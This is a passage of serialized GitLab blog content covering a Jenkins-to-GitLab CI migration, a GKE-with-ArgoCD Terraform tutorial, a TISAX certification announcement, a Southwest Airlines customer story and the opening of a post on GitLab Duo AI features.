will run in\n  stage: build\n # Defines the container image to use\n # for this job, overwriting default.\n  image: golang:alpine\n # Defines the sequence of steps to\n # execute when the job is run.\n  script:\n    - go build -o bin/meow-micro\n    - chmod +x bin/meow-micro\n # Stores the job artifacts generated\n # for use in another job.\n  artifacts:\n    paths:\n      - bin/meow-micro\n    expire_in: 1 week\n\nunit-tests:\n  stage: test\n  image: golang:alpine\n  script:\n    - go test .\n # Defines commands to run after the\n # job.\n after_script:\n  - echo \"Tests Complete\"\n\nstaging-deploy:\n  stage: deploy\n # Defines commands to run before the\n # actual job.\n  before_script:\n    - apk update\n  script:\n    - echo \"Deploying meow-micro to staging environment\"\n    - ./bin/meow-micro\n # Defines conditions which must be met\n # in order for this job to execute. In\n # this case the staging-deploy job will \n # only run on the staging branch.\n  rules:\n    - if: $CI_COMMIT_BRANCH == 'staging'\n # Allows the artifact stored in the\n # build job to be used in this job.\n  artifacts:\n    paths:\n      - bin/meow-micro\n```\n\nAs you may have observed, there are many similarities between both Jenkins and GitLab in terms of syntax, making pipeline migration straightforward. While the above provides a basic example, be sure to read the comprehensive list of [feature and concept comparisons](https://docs.gitlab.com/ee/ci/migration/jenkins.html#comparison-of-features-and-concepts) between both tools.\n\nNow that we have an understanding of how to map Jenkins to GitLab we can start creating a pipeline with the same functionality in GitLab. In order to perform the migration of CI/CD, you can go through the following steps:\n\n##### 1. Open the repository you migrated to GitLab in the section above.\n- On the left sidebar, at the top, select **Search or go to…**.\n- Locate your project.\n\n##### 2. Open the [Pipeline Editor](https://docs.gitlab.com/ee/ci/pipeline_editor/).\n- On the left sidebar, Select **Build > Pipeline editor**.\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176026/Blog/ecp4jh7epho2oxuegaor.png\" alt=\"Pipeline editor menu\">\n   \u003Cfigcaption>Pipeline editor menu\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Click the **Configure pipeline** button.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176029/Blog/nypfh01zhwgvzqc0xz3v.png\" alt=\"Configure pipeline selection\">\n   \u003Cfigcaption>Configure pipeline selection\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n##### 3. Populate the [.gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/).\n- Add the GitLab CI pipeline code. \n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176031/Blog/nxi6uxxispyyoiiyvxyg.png\" alt=\"Pipeline editor input\">\n   \u003Cfigcaption>Pipeline editor input\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Verify that the syntax is correct.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176037/Blog/x3d4utfsnymye0lvphtf.png\" alt=\"Pipeline syntax validation\">\n   \u003Cfigcaption>Pipeline syntax validation\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Visualize the pipeline.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176043/Blog/hipzofpyywjxf62edzfv.png\" alt=\"Pipeline visualization\">\n   \u003Cfigcaption>Pipeline visualization\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n##### 4. Commit the file to the main branch.\n- Add a commit message.\n- Make sure the branch is set to main.\n- Click the Commit changes button.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176048/Blog/nn8bl7rdysabccoycfrk.png\" alt=\"Commit changes dialog\">\n   \u003Cfigcaption>Commit changes dialog\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nOnce the file has been merged, the defined pipeline will kick off. You can go back to your project and [view the pipeline](https://docs.gitlab.com/ee/ci/pipelines/#view-pipelines) in action by selecting it under your project’s **Build > Pipelines** page. Since it was run on the **main** branch, you will see only the **create-binary** and unit-tests jobs; the **staging-deploy** job only runs on the staging branch.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176051/Blog/wfb4k8nkzpg28kpf2pzz.png\" alt=\"Pipeline running on main branch\">\n   \u003Cfigcaption>Pipeline running on main branch\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nIf we create a staging branch, we can see that the following pipeline is initiated.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176053/Blog/e2jxedpolaniotgixpby.png\" alt=\"Pipeline running on staging branch\">\n   \u003Cfigcaption>Pipeline running on staging branch\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nWhen clicking on a job we can see its output:   \n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176056/Blog/fywzwbzkwcvc9zzakilh.png\" alt=\"create-binary job output\">\n   \u003Cfigcaption>create-binary job output\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176061/Blog/ekmpd8ecanwwiena9xi9.png\" alt=\"unit-tests job output input\">\n   \u003Cfigcaption>unit-tests job output input\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176065/Blog/h7nqxszy50xdmnvhalfq.png\" alt=\"staging-deploy job output\">\n   \u003Cfigcaption>staging-deploy job output\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nYou can see how the artifact is stored in the create-binary job and used in the staging-deploy job. And that's how easy it is to migrate a pipeline from Jenkins to GitLab!\n\n### Additional considerations when migrating\nSome helpful considerations we’ve found to make the deployment process more straightforward are as follows:\n\n- Don't try to replicate tasks into GitLab jobs 1:1. Take some inventory and time to understand what the current pipeline is doing, and which problem it is solving.\n\n- Some Jenkins jobs may be too complex to move over to GitLab right away. For this reason, it may be beneficial to use the [GitLab Jenkins plugin](https://plugins.jenkins.io/gitlab-plugin/) to initiate Jenkins pipelines and view their results directly from GitLab. This allows you to slowly migrate certain actions to GitLab until the whole pipeline can be moved.\n\n- Implement [security scanners and code quality](https://docs.gitlab.com/ee/user/application_security/) using built-in templates provided by GitLab from the start. This will allow you to shift security left, reducing the potential for a breach.\nDon't overcomplicate the CI/CD config and try to use every feature advantage at once. Modularize code and implement it in small iterations.\n\n- Implement monitoring and governance from the start.\n\n- Understand that the GitLab Runner (Go) might behave differently than the Jenkins agent (Java). CPU usage and memory consumption might differ — make sure to compare over time.\n\n- Consider investing in auto-scaling mechanisms, and shut down unneeded resources on the weekend, or outside of working hours.\n\n- Modernize application development by containerizing your jobs. Jenkins jobs are not executed on a container today but on a Jenkins agent running as a VM.\n\nWhile this list is not exhaustive, it does provide a good start on some considerations to take note of. If you need additional help, GitLab provides [professional services](https://about.gitlab.com/get-help/) to support your migration journey.\n\n### Learn more\nThanks for reading! I hope this guide has helped you get a clear understanding of why and how to migrate from Jenkins to GitLab. Not convinced? [Give GitLab a try with our free trial](https://about.gitlab.com/free-trial/), and see the value of a DevSecOps platform!\n\nHere are a few resources where you can learn more about GitLab, the benefits of using a DevSecOps platform, and migrating from Jenkins:\n\n- [Migrating from Jenkins](https://docs.gitlab.com/ee/ci/migration/jenkins.html)\n- [Planning a migration](https://docs.gitlab.com/ee/ci/migration/plan_a_migration.html)\n- [GitLab Project Importers](https://docs.gitlab.com/ee/user/project/import/)\n- [Tutorial: GitHub to GitLab migration the easy way](https://about.gitlab.com/blog/github-to-gitlab-migration-made-easy/)\n- [Video: GitHub to GitLab migration the easy way](https://youtu.be/0Id5oMl1Kqs?feature=shared)\n- [Jenkins to GitLab: The ultimate guide to modernizing your CI/CD environment](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n",[110,943],{"slug":7041,"featured":92,"template":678},"jenkins-to-gitlab-migration-made-easy","content:en-us:blog:jenkins-to-gitlab-migration-made-easy.yml","Jenkins To Gitlab Migration Made Easy","en-us/blog/jenkins-to-gitlab-migration-made-easy.yml","en-us/blog/jenkins-to-gitlab-migration-made-easy",{"_path":7047,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7048,"content":7054,"config":7059,"_id":7061,"_type":16,"title":7062,"_source":17,"_file":7063,"_stem":7064,"_extension":20},"/en-us/blog/hosted-runners-for-gitlab-dedicated-available-in-beta",{"title":7049,"description":7050,"ogTitle":7049,"ogDescription":7050,"noIndex":6,"ogImage":7051,"ogUrl":7052,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7052,"schema":7053},"Hosted Runners for GitLab Dedicated available in Beta","GitLab Dedicated customers can now scale their CI/CD workloads with no maintenance overhead.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663948/Blog/Hero%20Images/dedicatedcoverimage.png","https://about.gitlab.com/blog/hosted-runners-for-gitlab-dedicated-available-in-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Hosted Runners for GitLab Dedicated available in Beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabian Zimmer\"}],\n        \"datePublished\": \"2024-01-31\",\n      }",{"title":7049,"description":7050,"authors":7055,"heroImage":7051,"date":7056,"body":7057,"category":736,"tags":7058},[1719],"2024-01-31","Managing fleets of runners can be complex and requires significant experience to ensure all CI/CD jobs can scale to meet the demands of developers. Hosted Runners for GitLab Dedicated, now available in Beta, allows customers to use runners that are fully managed by GitLab for CI/CD jobs running on GitLab Dedicated.\n\nHosted Runners for GitLab Dedicated brings the same flexibility, efficiency, and control of GitLab Dedicated to runners. The Beta release includes the following features:\n- Linux-based runners at the instance level\n- Complete isolation from other tenants, following the same principles as GitLab Dedicated\n- Auto-scaling\n- Fully managed by GitLab\n\nAdditional features will be included based on customer demand leading up to limited and general availability.\n\nAs we develop this new feature, we are making Hosted Runners for GitLab Dedicated available upon invitation for existing GitLab Dedicated customers. Please reach out to your Customer Success Manager or [contact sales](https://about.gitlab.com/sales/). You can learn more about Gitlab Dedicated [on our website](https://about.gitlab.com/dedicated/).",[754,695,110],{"slug":7060,"featured":6,"template":678},"hosted-runners-for-gitlab-dedicated-available-in-beta","content:en-us:blog:hosted-runners-for-gitlab-dedicated-available-in-beta.yml","Hosted Runners For Gitlab Dedicated Available In Beta","en-us/blog/hosted-runners-for-gitlab-dedicated-available-in-beta.yml","en-us/blog/hosted-runners-for-gitlab-dedicated-available-in-beta",{"_path":7066,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7067,"content":7072,"config":7077,"_id":7079,"_type":16,"title":7080,"_source":17,"_file":7081,"_stem":7082,"_extension":20},"/en-us/blog/quick-setup-of-a-gke-cluster-with-argocd-pre-installed-using-terraform",{"title":7068,"description":7069,"ogTitle":7068,"ogDescription":7069,"noIndex":6,"ogImage":6722,"ogUrl":7070,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7070,"schema":7071},"Quick setup of a GKE Cluster with ArgoCD pre-installed using Terraform","Use this tutorial as a great starting point to manage your cluster entirely through GitOps.","https://about.gitlab.com/blog/quick-setup-of-a-gke-cluster-with-argocd-pre-installed-using-terraform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Quick setup of a GKE Cluster with ArgoCD pre-installed using Terraform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Ing\"},{\"@type\":\"Person\",\"name\":\"Siddharth Mathur\"}],\n        \"datePublished\": \"2024-01-31\",\n      }",{"title":7068,"description":7069,"authors":7073,"heroImage":6722,"date":7056,"body":7075,"category":734,"tags":7076},[2621,7074],"Siddharth Mathur","This tutorial will walk you through setting up a Google Kubernetes Engine (GKE) Cluster with ArgoCD pre-installed, utilizing Terraform, in less than 10 minutes. This will be a great starting point to manage your cluster entirely through GitOps.\n\n### Prerequisites\n- GCP account with permissions to provision a GKE Cluster\n- Kubectl client v1.23.9\n- Kubectl server v1.23.16-gke.1400\n- Working knowledge of GKE\n- Basic knowledge of ArgoCD\n\n#### An overview of this tutorial is as follows:\n- Set up the GitLab Terraform GKE ArgoCD Template \n- Connect to your GKE Cluster\n- Grab the ArgoCD Initial Admin Secret\n- Log into ArgoCD \n- Enjoy your Kubernetes Cluster with ArgoCD!\n\n#### Set up the GitLab Terraform GKE ArgoCD template\n\nStart by importing the example project by URL - [https://gitlab.com/projects/new#import_project](https://gitlab.com/projects/new#import_project).\n\nTo import the project:\n1. In GitLab, on the top bar, select **Main menu > Projects > View all projects**.\n2. On the right of the page, select **New project**.\n3. Select **Import project**.\n4. Select **Repository by URL**.\n5. For the Git repository URL:\n    - [GitLab Terraform GKE ArgoCD](https://gitlab.com/demos/infrastructure/gitlab-terraform-gke-argocd)\n6. Complete the fields and select **Create project**.\n\n#### Add in your cloud credentials to CI/CD variables\n\n1. To authenticate GCP with GitLab, create a GCP service account with the following roles: **Compute Network Viewer, Kubernetes Engine Admin, Service Account User, and Service Account Admin**. Both User and Admin service accounts are necessary. The User role impersonates the default service account when creating the node pool. The Admin role creates a service account in the kube-system namespace.\n2. **Download the JSON file** with the service account key you created in the previous step.\n3. On your computer, encode the JSON file to base64 (replace /path/to/sa-key.json to the path to your key):\n\n```\nbase64 -i /path/to/sa-key.json\n```\n\n4. Use the output of this command as the **BASE64_GOOGLE_CREDENTIALS** environment variable in the next step.\n\nOn the left sidebar, select **Settings > CI/CD. Expand Variables**.\n5. Set the variable **BASE64_GOOGLE_CREDENTIALS** to the base64 encoded JSON file you just created.\n6. Set the variable **TF_VAR_gcp_project** to your GCP’s project name.\n\n![simpleargocd - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683298/Blog/Content%20Images/simpleargocd_-_image_1.png)\n\n#### Run GitLab CI to deploy your Kubernetes cluster with ArgoCD Installed.\n\n![simpleargocd - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683298/Blog/Content%20Images/simpleargocd_-_image_2.png)\n\n#### Connect to your GKE Cluster through your terminal using the following bash command.\n\n```bash\ngcloud container clusters get-credentials gitlab-terraform-gke-argocd --region us-central1 --project \u003Cproject-name>\n```\n\n![simpleargocd-image3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683298/Blog/Content%20Images/simpleargocd-image3.png)\n\n#### Expose the Initial Admin Secret through your terminal using the following bash command. Make sure you save this password for later.\n\n```bash\nkubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath=\"{.data.password}\" | base64 -d\n```\n\n#### Port Forward ArgoCD to your localhost 8080 through your terminal using the following bash command. Go to Chrome localhost:8080 afterwards.\n\n```bash\nkubectl port-forward svc/argocd-server -n argocd 8080:443\n```\n\n#### Enter your admin and `Initial Admin Secret` to the login page.\n\n![simpleargocd - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683298/Blog/Content%20Images/simpleargocd_-_image_4.png)\n\n#### Voila! You've bootstrapped your GKE cluster with ArgoCD. Enjoy your GitOps!\n\n![simpleargocd - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683298/Blog/Content%20Images/simpleargocd_-_image_5.png)\n\n### Next steps\nWe recommend reviewing [setting up Review Ops with ArgoCD](https://about.gitlab.com/blog/how-to-provision-reviewops/)! \n\n### References\n- [GitLab Learn Labs - Infrastructure Webinar](https://gitlab.com/gitlab-learn-labs/webinars/infrastructure/gitlab-terraform-gke-argocd)\n- [Getting started with ArgoCD](https://argo-cd.readthedocs.io/en/release-2.0/getting_started/)\n\n### Related posts\n- [Simple Kubernetes management with GitLab](https://about.gitlab.com/blog/simple-kubernetes-management-with-gitlab/)\n- [How to provision ReviewOps](https://about.gitlab.com/blog/how-to-provision-reviewops/)\n- [The ultimate guide to GitOps with GitLab](https://about.gitlab.com/blog/the-ultimate-guide-to-gitops-with-gitlab/)\n",[534,3049,110,943,2488],{"slug":7078,"featured":6,"template":678},"quick-setup-of-a-gke-cluster-with-argocd-pre-installed-using-terraform","content:en-us:blog:quick-setup-of-a-gke-cluster-with-argocd-pre-installed-using-terraform.yml","Quick Setup Of A Gke Cluster With Argocd Pre Installed Using Terraform","en-us/blog/quick-setup-of-a-gke-cluster-with-argocd-pre-installed-using-terraform.yml","en-us/blog/quick-setup-of-a-gke-cluster-with-argocd-pre-installed-using-terraform",{"_path":7084,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7085,"content":7091,"config":7098,"_id":7100,"_type":16,"title":7101,"_source":17,"_file":7102,"_stem":7103,"_extension":20},"/en-us/blog/gitlab-drives-automotive-industry-information-security-with-tisax",{"title":7086,"description":7087,"ogTitle":7086,"ogDescription":7087,"noIndex":6,"ogImage":7088,"ogUrl":7089,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7089,"schema":7090},"GitLab secures automotive industry with TISAX certification","Learn why we pursued this certification and how it will help GitLab customers in the automotive industry.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659703/Blog/Hero%20Images/AdobeStock_577940357.jpg","https://about.gitlab.com/blog/gitlab-drives-automotive-industry-information-security-with-tisax","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab drives automotive industry information security with TISAX certification\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Liz Coleman\"}],\n        \"datePublished\": \"2024-01-30\",\n      }",{"title":7092,"description":7087,"authors":7093,"heroImage":7088,"date":7095,"body":7096,"category":674,"tags":7097},"GitLab drives automotive industry information security with TISAX certification",[7094],"Liz Coleman","2024-01-30","The automotive industry is faced with unique challenges in today's digital age. Cars are no longer just modes of transportation; they also provide entertainment options, computer-like functionality, location tracking, WiFi, and the like. As such, the automotive industry is tasked with the same challenges as other industries, including ensuring data security, agile collaboration, and streamlined development processes. And GitLab is here to help as a Trusted Information Security Assessment Exchange (TISAX) certified organization.\n\nHere at GitLab, [Results for Customers](https://handbook.gitlab.com/handbook/values/#results) is a core value and we  “exist to help customers achieve more.\" [Our customers requested](https://gitlab.com/gitlab-com/gl-security/security-assurance/governance-and-field-security/field-security-team/customer-assurance-activities/requests-from-the-field/-/issues/13) that we pursue the TISAX certification, which is an industry standard for the European automotive industry.\n\n## What is TISAX?\n\nTISAX is an assessment and exchange mechanism that provides the proof customers need that a company complies with requirements outlined in the Information Security Assessment ([ISA](https://portal.enx.com/handbook/)). General ISA coverage categories include:\n\n- Assessment Level 1: ISA questionnaire and published self-assessment\n- Assessment Level 2: ISA questionnaire, published self-assessment and third-party review and certification from an approved third party provider\n- Assessment Level 3: ISA questionnaire, published self-assessment and third-party review and certification from an approved third party provider via an on-site inspection\n\nThere are also [objective categories](https://portal.enx.com/handbook/#ID4281) within each assessment level such as:\n\n- Info high: Assessment Level (AL)2\n- Info very high: AL3\n- Data: AL2\n- Special Data: AL3\n\nAs GitLab is [all remote](https://handbook.gitlab.com/handbook/company/culture/all-remote/), AL2 was the highest level applicable to our organization. \n\n## How is TISAX applicable to GitLab’s DevSecOps platform?\n\nGitLab is committed to maintaining and expanding security certifications and attestations to support information security. Our [mission](https://handbook.gitlab.com/handbook/company/mission/) is to make it so that everyone can contribute. TISAX was an applicable certification expansion as the initial inquiries were received from new and existing customers (contributions!). There was strong alignment with our existing [security certifications and attestations](https://trust.gitlab.com/) and our commitment to information security via our [Information Security Management System](https://handbook.gitlab.com/handbook/security/isms/) (ISMS). The scope of our ISMS includes customer data, software, people, and internal information assets to host, operate and support GitLab SaaS subscriptions: GitLab.com and GitLab Dedicated.\n\nThrough the ISMS, we look at various aspects of our DevSecOps platform to provide a high level of assurance that our information security policies, standards and procedures, operations, and performance align with customer challenges to deliver software faster, built-in security, regulatory compliance, and much more.\n\nWith our TISAX Assessment Level 2 - High availability and protection certification, we have demonstrated our unwavering commitment to providing our automotive customers with a secure, reliable, and efficient DevSecOps platform.\n\n> Please [contact our sales team today](https://about.gitlab.com/sales/) to learn more and to get started with GitLab today.",[674,736,2705,964],{"slug":7099,"featured":6,"template":678},"gitlab-drives-automotive-industry-information-security-with-tisax","content:en-us:blog:gitlab-drives-automotive-industry-information-security-with-tisax.yml","Gitlab Drives Automotive Industry Information Security With Tisax","en-us/blog/gitlab-drives-automotive-industry-information-security-with-tisax.yml","en-us/blog/gitlab-drives-automotive-industry-information-security-with-tisax",{"_path":7105,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7106,"content":7112,"config":7117,"_id":7119,"_type":16,"title":7120,"_source":17,"_file":7121,"_stem":7122,"_extension":20},"/en-us/blog/southwest-looking-to-help-developers-take-flight",{"title":7107,"description":7108,"ogTitle":7107,"ogDescription":7108,"noIndex":6,"ogImage":7109,"ogUrl":7110,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7110,"schema":7111},"Southwest looking to help developers take flight","Learn how the airline's DevOps teams are dramatically increasing their ability to detect and resolve problems with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665272/Blog/Hero%20Images/AdobeStock_380312133.jpg","https://about.gitlab.com/blog/southwest-looking-to-help-developers-take-flight","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Southwest looking to help developers take flight\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2024-01-30\",\n      }",{"title":7107,"description":7108,"authors":7113,"heroImage":7109,"date":7095,"body":7114,"category":2702,"tags":7115},[3907],"Southwest Airlines Co. is working to make developers’ jobs easier.\n\nIT leaders at the world's largest low-cost carrier are moving to eliminate time-consuming and repetitive tasks from developers’ workflows, freeing their time and increasing their ability to focus on bigger projects.\n\n“The way we do that is by getting things out of their way,” said Jim Dayton, vice president and CISO at Southwest Airlines. “I am a firm believer that people go into software development because they love the creativity of it. They love the ability to solve problems. What we have to do is get out of their way and get the things that are blocking them out of their way.”\n\nPart of how Dayton is making that happen is by using GitLab’s platform.\n\nDayton talked about Southwest’s efforts to take care of their developers, and promote the work they’re doing, during an on-stage interview at the Dallas stop of [GitLab’s DevSecOps World Tour](https://about.gitlab.com/events/devsecops-world-tour/). He also spent part of his conversation with Reshmi Krishna, director of Enterprise Solutions Architecture at GitLab, discussing what benefits he hopes artificial intelligence capabilities will be able to offer his teams.\n\nThe Southwest exec, who said they’re moving toward a DevOps approach to application development, added that they’re providing developers with more self-service capabilities and knowledge management processes. “We want developers to be able to quickly look up a problem, look up a solution, and reduce context switching,” he said. “We need to be able to look at what we are asking them to do and what's preventing them from being able to be productive.”\n\nDayton noted that Southwest, which established a relationship with GitLab in 2019, is focused on creating consistency for its software development processes. In part, that means moving code into a shared GitLab repository. By knowing where all of their code resides, teams will be able to more easily evaluate metrics, and begin to look at creating efficiencies by reusing code. \n\n“We’re also in the process of getting our enterprise pipelines finalized and we’re ready to start migrating teams onto them,” said Dayton. “We're collaborating heavily with a lot of different application development teams to understand what they need in the pipelines that we're building and we’re getting ready to start migrating teams onto them. I think we'll be getting pretty close by the end of the year.”\n\n### The promise of AI\n\nUsing artificial intelligence is one of the ways to enable developers to focus on bigger, more innovative tasks, Dayton explained.\n\nGenerative AI, whether in the form of vulnerability explainers, code suggestions, or code completion, has the ability to dramatically affect workflows across the entire software development lifecycle. Leveraging AI tools built into a platform can increase security and decrease time spent on code reviews and application development.\n\nDayton is looking forward to being able to use AI features to speed and ease development and deployment.\n\n“We want to get the mundane and the bureaucratic out of their way as much as possible,” Dayton said, adding that while there’s a lot of hype around AI, there’s also a lot of promise. “Using AI could do that. I think a great example will be when it can provide a solution to a vulnerability that was just identified or when it can tell us what a piece of code is doing. What is it integrating with? What data is it accessing and why? Tell me in plain English, for example, that this particular set of coding has been responsible for 20% of the incidents in this application over the past year. That’s where I think AI can help.”\n\nDayton noted that he doesn’t believe AI will replace developers. Instead, it should make their jobs easier. Another way AI can help is by connecting developers in a time when many are working remotely post-COVID.\n\n“One of the cool things that's in [GitLab’s] roadmap is Suggested Reviewers,” he said. “Getting help with code reviews used to involve yelling across the room or over a cube wall, ‘Hey, can someone look at my code?’ That’s not so easy now. AI can suggest someone who's actually worked in that code before or who has resolved incidents in that code and does that sort of thing. How much value is that going to add to the review process? I think the more automation we can put in, the less manual steps or wait states there will be.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/UnUfp7pKnEQ?si=qcX2Qm3zpgQOV4xy\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Southwest Airlines is a nearly $24 billion company based in Dallas, Texas. With 72,000 employees, it flies to 120 destinations, making 4,000 flights per day.  Southwest flies more domestic passengers than any other airline.\nRead more GitLab customer stories on our [customers page](https://about.gitlab.com/customers/).*\n",[4103,7116,790,2705],"DevOps platform",{"slug":7118,"featured":6,"template":678},"southwest-looking-to-help-developers-take-flight","content:en-us:blog:southwest-looking-to-help-developers-take-flight.yml","Southwest Looking To Help Developers Take Flight","en-us/blog/southwest-looking-to-help-developers-take-flight.yml","en-us/blog/southwest-looking-to-help-developers-take-flight",{"_path":7124,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7125,"content":7130,"config":7135,"_id":7137,"_type":16,"title":7138,"_source":17,"_file":7139,"_stem":7140,"_extension":20},"/en-us/blog/ai-powered-growth-transform-every-stage-of-software-delivery",{"title":7126,"description":7127,"ogTitle":7126,"ogDescription":7127,"noIndex":6,"ogImage":1032,"ogUrl":7128,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7128,"schema":7129},"AI-powered growth: Transform every stage of software delivery","Find out how the latest developments in the GitLab AI-powered DevSecOps Platform boost efficiency throughout the software development lifecycle.","https://about.gitlab.com/blog/ai-powered-growth-transform-every-stage-of-software-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"AI-powered growth: Transform every stage of software delivery\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Laurena Alves\"}],\n        \"datePublished\": \"2024-01-29\",\n      }",{"title":7126,"description":7127,"authors":7131,"heroImage":1032,"date":7132,"body":7133,"category":791,"tags":7134},[6274],"2024-01-29","It’s clear artificial intelligence (AI) is top of mind for organizations and their software development teams. With developers and security teams forced to focus so much of their time on repetitive, mundane tasks, of course they’re looking for ways to ease that work and carve out more time in their schedules.\n\nAccording to the [GitLab 2023 State of AI in Software Development report](https://about.gitlab.com/developer-survey/), developers noted spending 25% of their total work time writing code, with the rest spent improving existing code, understanding existing code, testing, maintaining code, and identifying and mitigating security vulnerabilities. As organizations incorporate AI into their DevSecOps processes, they'll need to adopt AI solutions — such as vulnerability explanations, code change summaries, automated tests, and more — that will help them introduce efficiencies and boost productivity and collaboration across the entire software development lifecycle (SDLC).\n\nWe know AI, with the efficiencies it brings across the entire SDLC, has a role to play in saving developers’ time, improving their jobs, and helping speed the production of secure software. Over the past few months, GitLab has released a set of AI-powered features that will help you do just that. \n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n### GitLab Duo Pro: Unleash the power of AI\n\nFor Ultimate and Premium customers, [GitLab Duo Pro](https://about.gitlab.com/pricing/) is a new add-on package that brings together Code Suggestions, GitLab Duo Chat (Beta), and organizational control capabilities, ensuring that teams can take advantage of AI exactly where they need it. \n\nCode Suggestions helps automate routine coding tasks, allowing developers to focus on delivering higher-quality software at speed, while Chat helps teams write and understand code faster, get up to speed on the status of projects, and quickly learn GitLab. And the organizational controls included in GitLab Duo Pro give organizations fine-grained control over which users have access to AI, ensuring alignment with team workflows and security requirements. At an introductory price of $9 USD per user per month (valid until January 31), and then $19 USD per user per month after February 1, GitLab Duo Pro is an investment in developer efficiency and organizational governance. [Contact us today to get started](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/).\n\n### Remove roadblocks and ship faster\n\nDevelopers struggle with repetitive tasks slowing down their workflow and hindering innovation. Manual code reviews and testing take additional time, inhibiting release cycles. And inconsistent quality standards raise security alarms and can create potential vulnerabilities. This all stifles productivity and reduces developer happiness. \n\nWith the recent general availability of [Code Suggestions](https://about.gitlab.com/blog/gitlab-duo-code-suggestions-is-generally-available/), developers of all skill levels now have a virtual assistant that makes building software faster, more efficient, and more secure. The AI-powered feature now has enhancements like [Code Generation](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/), which generates code based on a natural language comment blocks, and [Repository X-ray](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/repository_xray.html), which improves the accuracy and relevance of code recommendations. \n\nCode Suggestions is your virtual pair programming buddy that can handle repetitive tasks, giving developers more time to focus on creating innovative products. Acting as a coding sidekick, this AI capability can automatically generate lines of code, complete functions, and even extend unfamiliar codebases. Code Suggestions supports 15 languages, including C++, C#, Go, Java, JavaScript, Python, PHP, Ruby, Rust, Scala, Kotlin, and TypeScript. It also integrates seamlessly into many popular IDEs like VS Code, Visual Studio, JetBrains’ suite of IDEs, and Neovim.\n\n### Gain the power of an AI assistant\n\nWhile Code Suggestions takes the spotlight, it's 